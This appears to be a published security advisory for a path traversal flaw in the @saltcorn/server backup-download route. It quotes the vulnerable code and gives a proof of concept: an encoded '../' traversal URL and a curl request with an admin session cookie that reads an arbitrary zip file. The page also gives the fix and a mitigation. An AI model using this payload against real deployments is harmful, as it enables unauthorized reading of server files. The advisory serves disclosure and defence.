GHSA-277h-px4m-62q8 @saltcorn/server arbitrary file zip read and download when downloading auto backups

Not scored Published 3 Oct 2024

Admin users can exploit path traversal in backup downloads to read arbitrary zip files from the server.

Exploited in the wild: Not known
Login needed: An administrator
Attackable: Over the internet
Victim action needed: Not needed
Fix: Available

What is GHSA-277h-px4m-62q8?

GHSA-277h-px4m-62q8 is a path traversal vulnerability in @saltcorn/server, published on 3 Oct 2024. An attacker needs administrator access to exploit it, with no action from the victim.

Official description

Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.

Details

file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682

router.get(
  &#34;/auto-backup-download/:filename&#34;,
  isAdmin,
  error_catcher(async (req, res) =&gt; {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) &amp;&amp; filename.endsWith(&#34;.zip&#34;)) // [2]
    ) {
      res.redirect(&#34;/admin/backup&#34;);
      return;
    }
    const auto_backup_directory = getState().getConfig(&#34;auto_backup_directory&#34;);
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);

Steps to reproduce (PoC)

create a file with .zip extension under /tmp folder:

echo &#34;secret12345&#34; &gt; /tmp/secret.zip

log into the application as an admin user
visit the url http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip
download the zip file and then check if the zip was indeed downloaded:

cat secret.zip
secret12345

Alternatively send the following request to retrieve the file just created.

curl -i -X $&#39;GET&#39; \
    -H $&#39;Host: localhost:3000&#39; \
    -H $&#39;Connection: close&#39; \
    -b $&#39;connect.sid=VALID_CONNECT_SID_COOKIE&#39; \
    $&#39;http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip&#39;

NOTE: To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Recommended Mitigation

Resolve the filename parameter before checking if it starts with backup_file_prefix .

Which versions are affected by GHSA-277h-px4m-62q8?

2 open source packages ship an affected version, including @saltcorn/server.

Package	Affected	Fixed in
`@saltcorn/server` npm	All versions	`1.0.0-beta.14`
`@saltcorn/server` npm	All versions	`1.0.0-beta.14`

How do I fix GHSA-277h-px4m-62q8?

Upgrade @saltcorn/server to 1.0.0-beta.14 or later.

Upgrade, and resolve every user-supplied path against an allowed base folder before opening it. More about Path traversal.

Is GHSA-277h-px4m-62q8 being exploited?

There is no known exploitation of GHSA-277h-px4m-62q8 in the wild and no public exploit code.